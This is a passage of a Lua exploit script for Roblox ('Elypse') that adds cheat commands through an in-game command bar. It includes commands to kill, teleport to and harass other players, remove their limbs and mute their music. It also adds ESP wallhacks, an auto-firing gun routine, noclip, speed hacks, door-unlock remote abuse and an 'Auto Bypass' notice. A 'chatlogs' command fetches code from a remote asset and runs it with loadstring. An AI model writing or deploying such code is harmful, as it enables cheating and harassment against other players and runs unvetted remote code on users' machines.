- table.insert(oneplayer, players[math.random(1, #players)])
- return oneplayer
- end
- Elypse('kill','kill [plr]',{},
- function(ARGS, SPEAKER)
- if ARGS[1] then
- for i,plr in pairs(findSinglePlayer(ARGS[1])) do
- for i,v in pairs(LP.Backpack:GetChildren())do
- LP.Character.Humanoid:EquipTool(v)
- end
- for i,v in pairs(LP.Backpack:GetDescendants()) do
- if v:IsA("Tool") then
- v.Parent = LP.Character
- wait()
- v.Parent = plr.Character
- end
- end
- wait(0.4)
- LP.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(4000000, -10, 200000))
- end
- end
- end)
- Elypse('bring','bring [plr]',{},
- function(ARGS, SPEAKER)
- if ARGS[1] then
- for i,plr in pairs(findSinglePlayer(ARGS[1])) do
- local NOW = LP.Character.HumanoidRootPart.CFrame
- for i,v in pairs(LP.Backpack:GetChildren())do
- LP.Character.Humanoid:EquipTool(v)
- end
- for i,v in pairs(LP.Backpack:GetDescendants()) do
- if v:IsA("Tool") then
- v.Parent = LP.Character
- wait()
- v.Parent = plr.Character
- end
- end
- wait(0.4)
- LP.Character.HumanoidRootPart.CFrame = NOW
- wait(0.4)
- LP.Character.HumanoidRootPart.CFrame = NOW
- end
- end
- end)
- Elypse('doors','doors',{},
- function(ARGS, SPEAKER)
- mouse = game.Players.LocalPlayer:getMouse()
- toggled = false
- mouse.KeyDown:connect(function(k)
- toggled = not toggled
- end)
- mouse.Button1Down:connect(function()
- if toggled == true then
- if mouse.Target ~= nil then
- if mouse.Target.Name == "Click" then
- local a, b = pcall(function()
- if mouse.Target.Parent:findFirstChild("Locker") then
- if mouse.Target.Parent:findFirstChild("Locker").className == "BoolValue" then
- if mouse.Target.Parent:findFirstChild("Locker").Value == true then
- mouse.Target.Parent.Lock.ClickDetector.RemoteEvent:FireServer()
- wait(.1)
- mouse.Target.ClickDetector.RemoteEvent:FireServer()
- else
- end
- end
- end
- end)
- if not a then
- warn(b)
- end
- end
- end
- end
- end)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Crouch And Click On Door Handle To Unlock";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('airjump','airjump',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "AirJump Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local Player = game:GetService'Players'.LocalPlayer;
- local UIS = game:GetService'UserInputService';
- _G.JumpHeight = 50;
- function Action(Object, Function) if Object ~= nil then Function(Object); end end
- UIS.InputBegan:connect(function(UserInput)
- if UserInput.UserInputType == Enum.UserInputType.Keyboard and UserInput.KeyCode == Enum.KeyCode.Space then
- Action(Player.Character.Humanoid, function(self)
- if self:GetState() == Enum.HumanoidStateType.Jumping or self:GetState() == Enum.HumanoidStateType.Freefall then
- Action(self.Parent.HumanoidRootPart, function(self)
- self.Velocity = Vector3.new(0, _G.JumpHeight, 0);
- end)
- end
- end)
- end
- end)
- end)
- Elypse('bfg','bfg',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Press R To Toggle";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local plr = game.Players.LocalPlayer
- local m = plr:GetMouse()
- local r = game:GetService("RunService").Heartbeat
- local h = plr.Character.Humanoid
- local prefix = ""
- local guns = {}
- local aim = false
- local State = false
- function playequipsound()
- local sound = Instance.new("Sound", plr.PlayerGui)
- sound.SoundId = "rbxassetid://439260292"
- sound.Volume = 2
- sound.PlayOnRemove = true
- wait()
- sound:Destroy()
- end
- function addGuns()
- State = true
- local Weapons = plr.Backpack:GetChildren()
- for c,f in ipairs(Weapons) do
- if f.Name == "Uzi" or f.Name == "Shotty" or f.Name == "Glock" or f.Name == "Sawed Off" then
- table.insert(guns, f)
- end
- end
- end
- function removeGuns()
- State = false
- guns = {}
- end
- function trackplayers()
- local tg = function(parent)
- local bg = Instance.new("BillboardGui", parent)
- bg.Adornee = parent
- bg.Size = UDim2.new(3,0,2,0)
- bg.StudsOffset = Vector3.new(0,2,0)
- bg.AlwaysOnTop = true
- bg = Instance.new("ImageLabel")
- bg.Image = "http://www.roblox.com/asset/?id=142406345"
- bg.Size = UDim2.new(1.25,0,1.75,0)
- bg.Position = UDim2.new(-0.125,0,-1.1,0)
- bg.BackgroundTransparency = 1
- end
- local players = game.Players:GetChildren()
- for a,b in ipairs(players) do
- local h = b.Character:FindFirstChild("Head")
- if h then
- tg(h)
- end
- end
- end
- m.KeyDown:connect(function(K)
- K=K:lower()
- if K == "r" then
- if State == false then
- addGuns()
- elseif State == true then
- removeGuns()
- if h then
- h:UnequipTools()
- end
- end
- end
- if K == "'" then
- for a,b in ipairs(guns) do
- b.GripPos = Vector3.new(math.random(-2,2),0,math.random(-2,2))
- end
- end
- end)
- m.Button1Down:connect(function()
- if State == true then
- for a,b in ipairs(guns) do
- b.Fire:FireServer(m.Hit)
- end
- end
- end)
- r:connect(function()
- if aim == true then
- for a,b in ipairs(guns) do
- if b and m.Target then
- local h = m.Target.Parent:FindFirstChild("Humanoid")
- if h then
- local p = game.Players:FindFirstChild(h.Parent.Name)
- if p then
- b.Fire:FireServer(m.Hit)
- end
- end
- end
- end
- end
- end)
- plr.Character.Humanoid.Died:connect(function()
- removeGuns()
- end)
- while true do
- r:wait()
- if State == true then
- for a,b in ipairs(guns) do
- b.Parent = plr.Character
- end
- end
- end
- end)
- annoyingplr = true
- Elypse('annoy','annoy [plr]',{},
- function(ARGS, SPEAKER)
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- repeat
- wait(0.001)
- if (annoyingplr == true) then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players[v].Character.HumanoidRootPart.CFrame
- end
- until annoyingplr == false
- end
- end)
- Elypse('unannoy','unannoy',{},
- function(ARGS, SPEAKER)
- annoyingplr = false
- end)
- Elypse('healkey','healkey',{},
- function(ARGS, SPEAKER)
- local healingkey = ARGS[1]
- local plr = game.Players.LocalPlayer
- local m = plr:GetMouse()
- local r = game:GetService("RunService").Heartbeat
- local h = plr.Character.Humanoid
- m.KeyDown:connect(function(K)
- K=K:lower()
- if K == healingkey then
- local player = game.Players.LocalPlayer
- local mouse = player:GetMouse()
- local oldCFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- player.Character.HumanoidRootPart.CFrame = game.Workspace["Chicken | $12"].Head.CFrame
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = game.Workspace["Burger | $15"].Head.CFrame
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = game.Workspace["Drink | $15"].Head.CFrame
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = oldCFrame
- wait(0)
- local burger = game.Players.LocalPlayer.Backpack.Burger
- burger.Parent = game.Players.LocalPlayer.Character
- burger:Activate()
- local drink = game.Players.LocalPlayer.Backpack.Drink
- drink.Parent = game.Players.LocalPlayer.Character
- drink:Activate()
- local chicken = game.Players.LocalPlayer.Backpack.Chicken
- chicken.Parent = game.Players.LocalPlayer.Character
- chicken:Activate()
- end
- end)
- end)
- Elypse('heal','heal',{},
- function(ARGS, SPEAKER)
- local player = game.Players.LocalPlayer
- local mouse = player:GetMouse()
- local oldCFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- player.Character.HumanoidRootPart.CFrame = game.Workspace["Chicken | $12"].Head.CFrame
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = game.Workspace["Burger | $15"].Head.CFrame
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = game.Workspace["Drink | $15"].Head.CFrame
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = oldCFrame
- wait(0)
- local burger = game.Players.LocalPlayer.Backpack.Burger
- burger.Parent = game.Players.LocalPlayer.Character
- burger:Activate()
- local drink = game.Players.LocalPlayer.Backpack.Drink
- drink.Parent = game.Players.LocalPlayer.Character
- drink:Activate()
- local chicken = game.Players.LocalPlayer.Backpack.Chicken
- chicken.Parent = game.Players.LocalPlayer.Character
- chicken:Activate()
- end)
- Elypse('puppy','puppy',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Character.Animate.walk.WalkAnim.AnimationId="rbxassetid://948444869"
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.jump:GetChildren()) do
- v.AnimationId = 'rbxassetid://948442744'
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.idle:GetChildren()) do
- v.AnimationId = 'rbxassetid://948442744'
- end
- end
- end)
- Elypse('jumpflip','jumpflip',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "JumpFlip Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.jump:GetChildren()) do
- v.AnimationId = 'rbxassetid://229782914'
- end
- end)
- Elypse('chicken','chicken',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Chicken";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-743.218689, 5.54287338, -42.9812164))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- end)
- Elypse('hoverboard','hoverboard',{},
- function(ARGS, SPEAKER)
- local LP = game.Players.LocalPlayer
- local LW = game.Workspace.LocalPlayer
- LP.Backpack.BoomBox.GripPos = Vector3.new(1.5,0,2.5)
- LP.Backpack.BoomBox.GripRight = Vector3.new(1,0,0)
- LW.Humanoid.HipHeight = 2
- LP.Character.Animate.walk.WalkAnim.AnimationId="rbxassetid://0"
- LP.Character.Animate.run.RunAnim.AnimationId="rbxassetid://0"
- LP.Character.Animate.jump.JumpAnim.AnimationId="rbxassetid://0"
- LP.Character.Animate.fall.FallAnim.AnimationId="rbxassetid://0"
- LP.Character.Animate.climb.ClimbAnim.AnimationId="rbxassetid://0"
- end)
- Elypse('briefcase','briefcase',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Backpack.BoomBox.GripPos = Vector3.new(0,0.8,0)
- game.Players.LocalPlayer.Backpack.BoomBox.GripRight = Vector3.new(-6,0,90)
- game.Players.LocalPlayer.Backpack.BoomBox.GripForward = Vector3.new(6,-120,0)
- end)
- Elypse('drink','drink',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Drink";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-733.021729, 5.88009167, 125.637993))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- end)
- Elypse('burger','burger',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Burger";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-723.99176, 5.46408606, 125.588669))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- end)
- Elypse('mute','mute [plr]',{},
- function(ARGS, SPEAKER)
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- while true do
- ElypsePlayers[v].Character.Torso.Song.TimePosition = 0
- game.StarterGui:SetCore("SendNotification", {
- Title = "User Muted";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- wait(0.001)
- end
- end
- end)
- Elypse('hover','hover [plr]',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Hover Animation Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- game.Players.LocalPlayer.Character.Animate.walk.WalkAnim.AnimationId="rbxassetid://451687057"
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.jump:GetChildren()) do
- v.AnimationId = 'rbxassetid://451686028'
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.idle:GetChildren()) do
- v.AnimationId = 'rbxassetid://451686028'
- end
- end
- wait(1)
- end
- end)
- Elypse('music','music',{},
- function(ARGS, SPEAKER)
- local player = game.Players.LocalPlayer
- local mouse = player:GetMouse()
- local context = game:GetService("ContextActionService")
- local sound = false
- player.CharacterAdded:connect(function()
- Speed()
- end)
- local s = Instance.new("ScreenGui", game.CoreGui)
- s.Name = "Music"
- local b = Instance.new("TextBox", s)
- b.Size = UDim2.new(0.07, 0, 0.03, 0)
- b.Position = UDim2.new(0.905, 0, 0.96, 0)
- b.BackgroundColor3 = Color3.new(0, 0, 0)
- b.BackgroundTransparency = 0.5
- b.Text = "Bypass Here"
- b.TextColor3 = Color3.new(1, 1, 1)
- b.Font = "Code"
- b.FontSize = "Size14"
- b.BorderSizePixel = 0
- --b.ClearTextOnFocus = false
- local t = Instance.new("TextButton", s)
- t.Size = UDim2.new(0.02, 0, 0.03, 0)
- t.Position = UDim2.new(0.975, 0, 0.96, 0)
- t.BackgroundColor3 = Color3.new(0, 0, 0)
- t.BackgroundTransparency = 0.5
- t.Text = "Play"
- t.TextColor3 = Color3.new(1, 1, 1)
- t.Font = "Code"
- t.FontSize = "Size14"
- t.BorderSizePixel = 0
- t.MouseButton1Click:connect(function()
- if player.Character:FindFirstChild("BoomBox") ~= nil then
- player.Character["BoomBox"].Remote:FireServer("PlaySong", b.Text)
- else
- end
- end)
- end)
- Elypse('doublejump','doublejump',{},
- function(ARGS, SPEAKER)
- local Player = game.Players.LocalPlayer
- repeat wait() until Player.Character -- Yield until the Player's Character is no longer nil
- local Character = Player.Character
- local Humanoid = Character:WaitForChild("Humanoid")
- local UserInputService = game:GetService("UserInputService")
- local currentJump
- local debounce = true
- local DoubleJumpVelocity = 100 -- 50 is a normal ROBLOX jump
- function jumpRayDown()
- local nR = Ray.new(Character.Torso.Position,Vector3.new(0,-1,0).unit*4)
- local hR,pR=game.Workspace:FindPartOnRay(nR,Character)
- if hR~=nil then
- return true
- end
- return false
- end
- Humanoid.Changed:connect(
- function(Property)
- if Property == "Jump" and debounce == true and Humanoid.Sit==false then
- currentJump=true
- debounce = false
- newConnection = Player:GetMouse().KeyDown:connect(function(key)
- if key:lower():byte()==32 and currentJump and Character.Torso.Velocity.y>-30 then
- currentJump=false
- for i, v in pairs(Character:GetChildren()) do
- if v:isA("BasePart") then
- v.Velocity = Vector3.new(v.Velocity.x,DoubleJumpVelocity,v.Velocity.z)
- end
- end
- end
- end)
- spawn(function()
- repeat wait() until jumpRayDown()==true
- debounce = true
- currentJump = false
- if type(newConnection)=="function" then
- newConnection:disconnect()
- end
- end)
- elseif Property == "Jump" and Humanoid.Sit==true then
- Humanoid.Jump=false
- end
- end
- )
- end)
- Elypse('shiftlock','shiftlock [on/off]',{},
- function(ARGS, SPEAKER)
- if ARGS[1] == "on" then
- LP.DevEnableMouseLock = true
- elseif ARGS[1] == "off" then
- LP.DevEnableMouseLock = false
- end
- end)
- Elypse('clicktp','clicktp',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "ClickTP Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- local UIS = game:GetService("UserInputService")
- local Player = game.Players.LocalPlayer
- local Mouse = Player:GetMouse()
- function GetCharacter()
- return game.Players.LocalPlayer.Character
- end
- function Teleport(pos)
- local Char = GetCharacter()
- if Char then
- Char:MoveTo(pos)
- end
- end
- UIS.InputBegan:Connect(function(input)
- if input.UserInputType == Enum.UserInputType.MouseButton1 and UIS:IsKeyDown(Enum.KeyCode.LeftControl) then
- Teleport(Mouse.Hit.p)
- end
- end)
- wait(0.05)
- end
- end)
- Elypse('chatlogs','chatlogs',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Chat Logs Gui Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- loadstring(game:GetObjects("rbxassetid://1295331911")[1].Source)()
- end)
- Elypse('autoheal','autoheal',{},
- function(ARGS, SPEAKER)
- local hum = game.Players.LocalPlayer.Character.Humanoid
- local currHealth = hum.Health
- hum.HealthChanged:connect(function(h)
- if h <= 80 then
- repeat
- local player = game.Players.LocalPlayer
- local mouse = player:GetMouse()
- local oldCFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
- player.Character.HumanoidRootPart.CFrame = CFrame.new(-724.18, 3.35025, 125.716)
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = CFrame.new(-743.089, 3.41183, -43.3642)
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = CFrame.new(-743.099, 3.41183, -51.9942)
- wait(0.5)
- player.Character.HumanoidRootPart.CFrame = oldCFrame
- local chicken = game.Players.LocalPlayer.Backpack.Chicken
- chicken.Parent = game.Players.LocalPlayer.Character
- chicken:Activate()
- local Burger = game.Players.LocalPlayer.Backpack.Burger
- Burger.Parent = game.Players.LocalPlayer.Character
- Burger:Activate()
- local Drink = game.Players.LocalPlayer.Backpack.Drink
- Drink.Parent = game.Players.LocalPlayer.Character
- Drink:Activate()
- until game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 100
- if h <= 100 then
- end
- end
- end)
- end)
- Elypse('boomhead','boomhead',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Backpack.BoomBox.GripPos = Vector3.new(5,0,1.5)
- --game.Players.LocalPlayer.Backpack.BoomBox.Ancored = true
- end)
- Elypse('nolimbs','nolimbs [plr]',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Limbs Removed";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- local PCHAR = ElypsePlayers[v].Character
- for i,v in pairs(PCHAR:GetChildren()) do
- if v:IsA('Part') and v.Name ~= 'Head' and v.Name ~= 'Torso' and v.Name ~= 'HumanoidRootPart' then
- v:destroy()
- end
- end
- end
- end)
- Elypse('speed','speed [int]',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Speed Set";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- repeat wait() until game.Players.LocalPlayer
- m = game.Players.LocalPlayer:GetMouse()
- m.KeyDown:connect(function(key)
- if key == "0" then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = tonumber(ARGS[1])
- end
- end)
- m.KeyUp:connect(function(key)
- if key == "0" then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- end)
- end)
- repeat wait() until game.Players.LocalPlayer
- m = game.Players.LocalPlayer:GetMouse()
- m.KeyDown:connect(function(key)
- if key == "0" then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = tonumber(ARGS[2])
- end
- end)
- m.KeyUp:connect(function(key)
- if key == "0" then
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
- end
- end)
- Elypse('view','view [plr]',{},
- function(ARGS, SPEAKER)
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- local PCHAR = ElypsePlayers[v].Character
- ElypseWorkspace.CurrentCamera.CameraSubject = PCHAR
- game.StarterGui:SetCore("SendNotification", {
- Title = "Viewing " .. PCHAR;
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end
- end)
- Elypse('jp','jp [plr] [int]',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "JumpPower Changed";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- local PCHAR = ElypsePlayers[v].Character
- if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.JumpPower = ARGS[2] end
- end
- end)
- Elypse('ws','ws [plr] [int]',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Walkspeed Changed";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- local PCHAR = ElypsePlayers[v].Character
- if PCHAR:FindFirstChild('Humanoid') then
- PCHAR.Humanoid.WalkSpeed = tonumber(ARGS[2])
- end
- end
- end)
- Elypse('esp','esp',{},
- function(ARGS, SPEAKER)
- local localPlayer=game.Players.LocalPlayer
- function highlightModel(objObject)
- for i,v in pairs(objObject:children())do
- if v:IsA'BasePart'and v.Name~='HumanoidRootPart'then
- local bHA=Instance.new('BoxHandleAdornment',v)
- bHA.Adornee=v
- bHA.Size= v.Name=='Head' and Vector3.new(1.25,1.25,1.25) or v.Size
- bHA.Color3=v.Name=='Head'and Color3.new(1,0,0)or v.Name=='Torso'and Color3.new(0,1,0)or Color3.new(0,0,1)
- bHA.Transparency=.5
- bHA.ZIndex=1
- bHA.AlwaysOnTop=true
- end
- if #v:children()>0 then
- highlightModel(v)
- end
- end
- end
- function unHighlightModel(objObject)
- for i,v in pairs(objObject:children())do
- if v:IsA'BasePart' and v:findFirstChild'BoxHandleAdornment' then
- v.BoxHandleAdornment:Destroy()
- end
- if #v:children()>0 then
- unHighlightModel(v)
- end
- end
- end
- function sortTeamHighlights(objPlayer)
- repeat wait() until objPlayer.Character
- if objPlayer.TeamColor~=localPlayer.TeamColor then
- highlightModel(objPlayer.Character)
- else
- unHighlightModel(objPlayer.Character)
- end
- if objPlayer~=localPlayer then
- objPlayer.Changed:connect(function(strProp)
- if strProp=='TeamColor'then
- if objPlayer.TeamColor~=localPlayer.TeamColor then
- unHighlightModel(objPlayer.Character)
- highlightModel(objPlayer.Character)
- else
- unHighlightModel(objPlayer.Character)
- end
- end
- end)
- else
- objPlayer.Changed:connect(function(strProp)
- if strProp=='TeamColor'then
- wait(.5)
- for i,v in pairs(game.Players:GetPlayers())do
- unHighlightModel(v)
- if v.TeamColor~=localPlayer.TeamColor then
- highlightModel(v.Character)
- end
- end
- end
- end)
- end
- end
- for i,v in pairs(game.Players:GetPlayers())do
- v.CharacterAdded:connect(function()
- sortTeamHighlights(v)
- end)
- sortTeamHighlights(v)
- end
- game.Players.PlayerAdded:connect(function(objPlayer)
- objPlayer.CharacterAdded:connect(function(objChar)
- sortTeamHighlights(objPlayer)
- end)
- end)
- end)
- Elypse('unview','unview',{},
- function()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Stopped Viewing Player";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- ElypseWorkspace.CurrentCamera.CameraSubject = ElypsePlayers.LocalPlayer.Character
- end)
- Elypse('fight','fight',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Backpack.Pipe.Punch1.AnimationId="rbxassetid://255510150"
- game.Players.LocalPlayer.Backpack.Pipe.Punch2.AnimationId="rbxassetid://345332316"
- game.Players.LocalPlayer.Backpack.Pipe.Running.AnimationId="rbxassetid://163712992"
- game.Players.LocalPlayer.Backpack.Knife.Idle.AnimationId="rbxassetid://1320171223"
- game.Players.LocalPlayer.Backpack.Knife.Punch1.AnimationId="rbxassetid://186934753"
- game.Players.LocalPlayer.Backpack.Knife.Punch2.AnimationId="rbxassetid://186934658"
- game.Players.LocalPlayer.Backpack.Knife.Running.AnimationId="rbxassetid://218504594"
- game.Players.LocalPlayer.Backpack.Punch.Punch1.AnimationId="rbxassetid://255611787"
- game.Players.LocalPlayer.Backpack.Punch.Punch2.AnimationId="rbxassetid://255790584"
- game.Players.LocalPlayer.Backpack.Punch.Punch3.AnimationId="rbxassetid://145530071"
- game.Players.LocalPlayer.Backpack.Punch.Punch4.AnimationId="rbxassetid://255507798"
- game.Players.LocalPlayer.Backpack.Punch.Running.AnimationId="rbxassetid://255503599"
- game.Players.LocalPlayer.Backpack.Pipe.Info.AnimSpeed.Value = "1.5"
- game.Players.LocalPlayer.Backpack.Pipe.Info.Cooldown.Value = "0.48"
- game.Players.LocalPlayer.Backpack.Knife.GripUp = Vector3.new(0,0,1)
- game.Players.LocalPlayer.Backpack.Knife.GripRight = Vector3.new(0,0,1)
- game.Players.LocalPlayer.Backpack.Punch.Info.AnimSpeed.Value = "1.5"
- game.Players.LocalPlayer.Backpack.Punch.Info.Cooldown.Value = "0.48"
- end)
- function OPEN_COMMANDS()
- SETH_MAIN.main.holder.Size = UDim2.new(1, 25, 12, 30)
- SETH_MAIN.main.holder.holders.search.Visible = true
- end
- function CLOSE_COMMANDS()
- SETH_MAIN.main.holder.holders.search.Visible = false
- SETH_MAIN.main.holder.Size = UDim2.new(1, 25, 12, 0)
- end
- function ShowTab(TAB)
- if not ElypseCoreGui:FindFirstChild('seth_main') then OPEN_MAIN() end
- for a,b in pairs(SETH_MAIN.main.holder.holders:GetChildren()) do
- if b.Name ~= TAB then
- b.Visible = false
- else
- b.Visible = true
- end
- if TAB ~= 'cmds' then
- CLOSE_COMMANDS()
- else
- OPEN_COMMANDS()
- end
- end
- end
- MOUSE.KeyDown:connect(function(key)
- if key:byte() == 29 then
- if not NOCLIP then
- ECOMMAND('noclip')
- elseif NOCLIP then
- ECOMMAND('clip')
- end
- elseif key:byte() == 30 then
- if not JESUSFLY then
- ECOMMAND('jesusfly')
- elseif JESUSFLY then
- ECOMMAND('nojfly')
- end
- end
- end)
- -- / after loaded
- function CHECK_FE()
- if not ElypseWorkspace.FilteringEnabled then
- NOTIFY('Filtering is disabled', 50, 255, 50)
- elseif ElypseWorkspace.FilteringEnabled then
- NOTIFY('Filtering is ENABLED', 255, 50, 50)
- end
- end
- CMD_BAR_H.bar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true)
- local GOING_IN = true
- CMD_BAR_H.bar.Changed:connect(function()
- if CMD_BAR_H.bar.Text ~= 'Press ; To Execute A Command' and CMD_BAR_H.bar.Focused and not GOING_IN then
- if CMD_BAR_H.bar.Text ~= '' then
- if not CMD_BAR_H.bar.Text:find(' ') then
- CMD_BAR_H.bar.commands.Visible = true
- CMD_BAR_H.bar.commands:ClearAllChildren()
- CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0)
- local Y_COMMANDS = 0
- for i,v in pairs(COMMANDS) do
- if v.N:find(CMD_BAR_H.bar.Text) then
- CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 1, -200), 'InOut', 'Quad', 0.2, true)
- CMD_BAR_H.bar.commands.CanvasSize = CMD_BAR_H.bar.commands.CanvasSize + UDim2.new(0, 0, 0, 20)
- local COMMANDS_C = CMD_BAR_H.bar.commands_ex:Clone()
- COMMANDS_C.Position = UDim2.new(0, 0, 0, Y_COMMANDS)
- COMMANDS_C.Visible = true
- COMMANDS_C.Text = ' ' .. v.D
- COMMANDS_C.Parent = CMD_BAR_H.bar.commands
- Y_COMMANDS = Y_COMMANDS + 20
- end
- end
- end
- else
- CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 0, 0), 'InOut', 'Quad', 0.2, true)
- CMD_BAR_H.bar.commands:ClearAllChildren()
- CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0)
- end
- end
- end)
- CMD_BAR_H.bar.FocusLost:connect(function()
- GOING_IN = true
- if CMD_BAR_H.bar.Text ~= '' then
- spawn(function()
- ECOMMAND(CMD_BAR_H.bar.Text, LP)
- end)
- end
- CMD_BAR_H.bar.commands:ClearAllChildren()
- CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0)
- CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 0, 0), 'InOut', 'Quad', 0.2, true)
- CMD_BAR_H.bar:TweenPosition(UDim2.new(0, -225, 1, -50), 'InOut', 'Quad', 0.5, true)
- end)
- MOUSE.KeyDown:connect(function(K)
- if K:byte() == 59 then
- GOING_IN = false
- CMD_BAR_H.bar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true)
- CMD_BAR_H.bar:CaptureFocus()
- end
- end)
- --NOTIFY('Welcome To Elypse', 199, 96, 255)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Welcome " .. game.Players.LocalPlayer.Name;
- Text = "Auto Bypass Activated";
- --Icon = "rbxassetid://1748020105";
- Duration = 5;
- })
- local player = game.Players.LocalPlayer
- local heart = game:GetService('RunService').Heartbeat
- playing = false
- local storage = {
- }
- spawn(function()
- while wait(1) do
- if playing then
- pcall(function()
- -- check if player has a tool out
- local savedTool
- for i,v in pairs(player.Character:GetChildren()) do
- if v:IsA('Tool') then
- if v.Name ~= 'BoomBox' then
- savedTool = v
- v.Parent = player.Backpack
- end
- end
- end
- -- update radio position
- player.Backpack.BoomBox.Parent = player.Character
- heart:wait()
- player.Character.BoomBox.Parent = player.Backpack
- -- put back previous tool
- if savedTool then
- savedTool.Parent = player.Character
- end
- end)
- end
- end
- end)
- commands = {
- ['play'] = {0, function(id)
- if not playing then
- local boombox = player.Character:FindFirstChild('BoomBox') or player.Backpack:FindFirstChild('BoomBox')
- if boombox then
- boombox.Parent = player.Character
- boombox.Remote:FireServer('PlaySong', id)
